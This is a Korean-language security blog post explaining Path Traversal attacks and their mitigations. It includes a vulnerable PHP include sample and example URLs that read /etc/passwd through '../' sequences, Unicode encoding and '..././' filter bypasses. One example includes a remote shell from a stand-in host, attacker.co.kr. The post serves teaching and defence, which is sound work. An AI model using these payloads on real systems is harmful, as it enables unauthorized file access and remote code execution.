정보보안/모의해킹

Path Traversal(디렉토리 접근) 공격 예시 및 대응

록스타★ 2024. 6. 25. 10:10
반응형

Path Traversal

- Path Traversal (Directory Traversal) 공격은 클라이언트로부터 입력 받은 값이 경로 형태로 서버측에서 처리를 하는 경우 공격자가 이를 조작하여 원하는 경로로 접근하거나 정상적으로 접근이 불가능한 파일에 접근하는 공격 기법

- 보통 클라이언트로부터 파일의 이름이나 경로를 전달받아 처리하는 경우에 많이 발생하며 ../와 같은 구문을 사용하여 상위 디렉터리로 접근하거나 일반적으로 접근이 불가능한 경로에 있는 설정 파일이나 시스템 파일 등에 접근이 가능

 

Path Traversal 취약점 발생 원인

- 파일의 이름이나 경로를 클라이언트에서 전달받아 사용할 때 이를 검증하지 않고 바로 사용하여 발생

<Sample Source>

<?php
$template = 'sg.php';
if (is_set ($_GET['TEMPLATE']))
   $template = $_GET['TEMPLATE'];

include("/home/users/security/templates/".$template);
?>


<조작된 접근>
https://example.com/vulnerable.php?TEMPLATE=../../../../../../etc/passwd

 

 

Path Traversal 공격 예시 #1

- 애플리케이션에서 제공하는 파일 다운로드 기능이 클라이언트로부터 파일 이름을 전달 받고 검증하지 않는 경우

<정상 접근>
https://example.com/download?filename=info.docx

<조작된 접근>
https://example.com/download?filename=../../../../../../etc/passwd

 

 

Path Traversal 공격 예시 #2

- 애플리케이션의 특정 페이지에서 내부 리소스를 참조하는 경우

<정상 접근>
https://example.com/get_resource.php?file=help.html

<조작된 접근>
https://example.com/get_resource.php?file=/etc/passwd

 

 

 Path Travesal 공격 예시 #3

- 애플리케이션의 특정 페이지에서 외부 리소스를 참조하는 경우

<정상 접근>
https://example.com/get_resouce.php? page=http://kisa.securitygym.or.kr/help.html

<조작된 접근>
https://example.com/get_resource.php?page=http://attacker.co.kr/shell.php

 

Path Traversal 공격 예시 #4

- 애플리케이션에서 제공하는 파일 다운로드 기능이 클라이언트로부터 파일 이름을 전달받아 검증을 수행하고 있으나 로직이 미흡하여 인코딩을통하여 우회가 가능한 경우

 

<정산 접근>
https://example.com/download?filename=info.docx

<조작된 접근 - 인코딩 전>
https://example.com/download?filename=../../../../../../../../etc/passwd

<조작된 접근 - 16Bit Unicode 인코딩 후>
https://example.com/download?filename=%u002e%u002e%u2215%u002e%u002e%u2215%u002e%u002e%u2215etc/passwd

  

 

Path Traversal 공격 예시 #5

- 애플리케이션에서 제공하는 파일 다운로드 기능이 클라이언트로부터 파일 이름을 전달받아 검증을 수행하고 있으나 로직이 미흡하여 추가 문자 삽입을 통하여 우회가 가능한 경우

<정상 접근>
https://example.com/download?filename=info.docx

<조작된 접근 - 추가 문자 삽입 전>
https://example.com/download?filename=../../../../../../../etc/passwd

<조작된 접근 - 추가 문자 삽입 후>
https://example.com/download?filename=..././..././..././..././etc/passwd

 

 

Path Traversal 공격 대응

- 애플리케이션 서비스 내 파일 호출 시 클라이언트측에서 값을 입력 받지 않는다.

- 애플리케이션 서비스 내 파일 호출 시 실제파일의 이름을 사용하지 않고 별칭 사용

- 클라이언트측에서 값을 입력 받을 경우 ../ 문자와 같이 경로를 변경할 수 있는 문자들을 검증하고 필터링하며 이 때 인코딩/디코딩된 문자열 역시 검증하고 반복적으로 필터링 될 수 있게 처리

- 권한을설정하여 애플리케이션의 해당 프로세스가 이동 가능한 경로 범위를 지정

 

 

결론

Path Traversal 공격은 결국 디렉토리를 우회해서 폴더 및 파일에 접근하는 공격이다. 디렉토리 인덱싱 공격과 아주 유사한데 똑같은 공격이라고도 생각이 든다. 주요정보통신기반시설 관련하여 디렉토리 인덱싱을 작업한 게 있는데 이 공격은 따로 해둔 것이 없어 추후에 취약 사이트등을 이용하여 시도해봐야겠다.  

반응형